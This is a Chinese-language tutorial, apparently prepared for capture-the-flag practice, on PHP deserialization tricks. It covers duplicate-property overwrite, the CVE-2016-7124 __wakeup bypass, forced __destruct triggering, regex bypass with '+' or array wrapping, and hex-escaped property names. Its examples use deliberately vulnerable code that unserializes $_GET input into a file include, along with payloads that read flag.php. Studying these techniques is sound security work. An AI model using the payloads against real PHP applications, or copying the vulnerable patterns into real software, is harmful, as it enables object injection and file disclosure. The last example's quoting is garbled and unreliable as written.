1.当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性。
<?php
class test{
public $flagersdcxzertt= 'flag:{hellowordhhh}';
public $name;
};
$a=new test();
// echo (serialize($a));
var_dump(unserialize($_GET['test']));
// O:4:"test":1:{s:1:"f";s:1:"f";}
highlight_file(__FILE__);
?>
这里随意构造一个属性名和属性值,注意要和类前属性个数一致
O:4:"test":1:{s:1:"f";s:1:"f";}
这时候输出结果会包含原有属性的值和你输入的值
2. 序列化同属性值覆盖
<?php
class people{
public $name='lili';
public $age='20';
}
//echo serialize(new people());
// O:6:"people":2:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";}
var_dump(unserialize('O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:3:"abc";}'));
?>
序列化字符串出现重复的属性和值(代码中我们构造了另一个name属性,值为abc),在反序列化时后者会覆盖原先的值 。
输出结果: object(people)#1 (2) {["name"]=>string(3) "abc"["age"]=>string(2) "20"}
这里输出name值为abc,显然已被覆盖。同时也输出了age属性和值,验证了(1.当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性。)
3.绕过__wakeup
__wakeup()魔术方法在执行unserialize()之前,会调用这个函数,而不会执行__construct()函数。
绕过方法:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
漏洞影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
//CVE-2016-7124例题
<?php
header('Content-Type: text/html; charset=utf-8');
class open{
public $file='index.php';
function __wakeup()
{
$this->file='index.php';
}
function __destruct()
{
include($this->file);
}
}
if(isset($_GET['open']))
{
$a=unserialize($_GET['open']);
}
else{
$b=new open();
}
?>
(1)漏洞利用:__destruct成功执行(反序列化之后自动执行),使得$file=flag.php用文件包含打开flag的文件。但是反序列化之前会先执行__wakeup()。
(2)__wakeup不执行(使序列化中的属性个数数字表示大于实际属性个数)
?open=O:4:"open":1:{s:4:"file";s:8:"flag.php";} //不能得到flag
?open=O:4:"open":2:{s:4:"file";s:8:"flag.php";} //成功得到flag
4.__destruct的强制触发
(1)直接new对象会被销毁
(2)给一个对象变量重新赋值之前的对象会被销毁
(3)使用unset也可以手动删除对象从而触发
(4)正常的实例对象会在脚本运行结束自动销毁
<?php
header('Content-Type: text/html; charset=utf-8');
class test{
public $i;
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."被销毁...\n"; }
}
// 直接new对象会被销毁;
new test('1');
// 给一个对象变量重新赋值之前的对象会被销毁。
$a = new test('2');
$a = 1;
//使用unset也可以手动删除对象从而触发
$a=new test('3');
unset($a);
// 正常的实例对象会在脚本运行结束自动销毁
$a=new test('4');
echo "<br/>—————脚本结束——————<br/>";
?>
a:2:{i:0;O:4:"test":1:{s:1:"p";i:1;}i:1;N;} //N表示空
a:2:{i:0;O:4:"test":1:{s:1:"p";i:1;}i:0;N;}
因为反序列化的时候是从左到右依次进行,我们先将数组的array[0]赋值为test实例再将原来序列化字符串的arry[1]的角标改为0,使其后面的值覆盖掉arry[0]的test实例达到强制触发__destruct
5.绕过特定正则('/^O:\d+/' )
如preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头。
'/^O:\d+/' 是一个正则表达式模式,用于匹配以 “O:” 开头后面跟着一个或多个数字的字符串。^ 表示匹配字符串的开始位置。O: 匹配字面值 “O:”。\d+ 匹配一个或多个数字。
绕过方法:
(1)利用加号绕过(注意在url里传参时+要编码为%2B)。
(2)利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)。
$a = 'O:+4:"test":1:{s:1:"b";s:3:"abc";}'; // +号绕过
6.16进制绕过简单字符的过滤
\73在字符串中是以16进制表示的s(小写),一个\是转义字符。
同时表示数据类型的S要大写,在序列化字符串当中会被当作16进制解析
O:4:“test”:1:{s:8:“username”;s:5:“adm“n”;}
O:4:“test”:1:{S:8:“u\\73ername";s:5:"admin";} //一个\是转义字符